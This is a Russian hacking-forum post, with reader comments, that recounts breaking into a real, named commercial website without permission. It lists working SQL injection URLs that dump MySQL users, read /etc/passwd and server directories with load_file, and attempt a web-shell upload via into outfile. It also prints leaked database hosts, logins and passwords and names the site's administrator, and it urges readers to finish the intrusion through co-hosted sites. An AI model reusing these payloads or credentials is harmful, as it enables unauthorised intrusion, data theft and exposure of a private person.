Введение Меня довольно часто просят снять на видео сам процесс взлома. Именно сам ход мыслей, стратегию и т.п Я решил написать статью, которая возможно поможет многим начинающим в освоении хака...... И так, НАЧНЕМ! Сайт, который я ломаю - caduser.ru PR – 3 ТИЦ – 325 Скажу вам это довольно неплохо. Сразу захотелось проверить файл robots.txt (Для тех кто незнает http://ru.wikipedia.org/wiki/Robots.txt), но результат не оправдал себя: PHP: User-agent: * Disallow: /img Disallow: /inc Админкой тут и не пахнет, ну что ж, двигаем дальше..... Сканирую порты, и на выходе получаю: Очень впечатляющий результат! Значит к БД можно удаленно подконектиться, а для этого нужны кое-какие данные, которые нам предстоит найти. Исследую сайт, и вскоре нахожу PHP: http://www.caduser.ru/acad/index.php?ver_id=5 Параметр ver_id уязвим. На сайте присутствует SQL-inj, в этом можно убедиться подставив кавычку получаем: Подбираем количество полей в таблице, (расписывать не буду как это делается, статей по этому поводу полно), их оказалось 4. Формируем запрос(подставляя стандартную mysql.user, а вдруг повезет): PHP: http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,2,3,4+from+mysql.user/* Поле 2 выводиться на экран. Для начала я решил узнать логин и пароль рута от БД PHP: http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,concat(user,char(58),password),3,4+from+mysql.user/* А в ответ получаю: Эту запару можно обойти несколькими способами, я выбрал кодирование и декодирование HEX-ом: PHP: http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(concat(user,char(58),password))),3,4+from+mysql.user/* а на выходе получил голого Root-a. Админ решил не ставить пароль =) Идем дальше! Проверяем file_priv: PHP: http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(file_priv)),3,4+from+mysql.user/* Y Вот оно!!! То, что может порадовать мне душу. Ковычки не фильтруються! Пробуем вывести /etc/passwd (результат очевиден из выше сказанного) PHP: http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/etc/passwd'),3,4+from+mysql.user/* Получаем: Из этих сведений можно вытянуть информацию про порты которые открыты, но нам оно уже не надо)) Пробую прочитать самый корень сервака: PHP: http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/'),3,4+from+mysql.user/* ДА!!! Он читается! Читаются и каталоги и подкаталоги т.е мы можем просмотреть содержимое всех файлов в любой папке. Первым делом я раскрыл путь к каталогу WWW: PHP: /htdocs/web/caduser/WWW/ Меня интересовали имена папок в этом каталоге: Раз у нас есть права на чтение-запись и не фильтруются ковычки, грех не попробовать залить веб-шелл через into outfile: PHP: http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,'<?php phpinfo();?>',3,4+into+outfile+'/htdocs/web/caduser/WWW/image/1.php'/* Вот запара, куда не плюнь видим: Прав не хватает, ну что ж как говориться - еще не все потеряно, двигаем дальше! Решил я спуститься на один каталог выше /htdocs/web/caduser/ и посмотреть, что там твориться. Единственное, что меня там заинтересовало, это папочка PASS. Идем прямо в нее: PHP: http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/'),3,4+from+mysql.user/* И сразу вижу интересные для себя файлы: Посмотрим что лежит в первом. Самое интересное на что я обратил внимание это: PHP: define('CS_PASS_LINK','http://pass.caduser.ru/');// if(!defined('DEMOS')){ $demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect"); define('DEMOS',$demos); $result = mysql_query("SET CHARACTER SET cp1251_koi8",DEMOS) or die("QF-1: ".mysql_error()); mysql_select_db("lermsc",DEMOS); Начнем с самого верха http://pass.caduser.ru/ наверное что то типа админки. Там просят для авторизации email и password, но изучая сорсы сайта я понял что все что можно храниться в БД. Пробую ввести Но результат превысил себя, на выходе я получил: Вот такая она админка, но на самом деле ничего тут интересного нет, кроме инфы об Сипидин Денис Павлович, который является администратором. Прочитаем еще не менее интересный файлик pass.php PHP: http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/pass.php'),3,4+from+mysql.user/* И тут есть не менее интересные строки: PHP: //$demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect"); //$demos = mysql_connect('194.87.13.132', 'csoft', 'as2hc9J!tyd83') or die("Could not connect"); $demos = mysql_connect('localhost', 'root', '') or die("Could not connect"); define('DEMOS',$demos); mysql_select_db("lermsc",DEMOS) or die("Could not select database"); Вот тут то мы и убедились, что пароля на самом деле нет к БД На этом я хочу остановиться, несколько раз обдумывал это решение. Шелл заливать не буду из нескольких соображений, во первых это запрещено форумом, во-вторых форум в паблике, а тут хулиганов немеренно, сеть сайтов все-таки коммерческая! С помощью Reverse IP можно узнать сайты хостящиеся вместе с нашим: Если спуститься еще на один уровень выше /htdocs/web/ можно их все просмотреть. Ну и если кому то неймется через into outfile на caduser.ru залить веб-шелл, наверняка хоть на одном из них найдется папка для записи. Спасибо за внимание! _Pantera_ (C)
Ничо особенного, всё как обычно. Почти все видео из раздела SQL-INJ на сайте такого плана - кавычка, скуль, order by, union select и поняслась. Ну всё равно + за старания и хорошее офорление.
Видео снимается по накатанной схеме после взлома, там ничего лишнего, а я старался показать весь ход рассуждений и правильных и неправильных, как оно есть на самом деле....
mq - off, мускуль от рута, сайт дырявый. Долго сервер такой подбирал? PS Достойный продолжатель дела R0ID'a из хакера.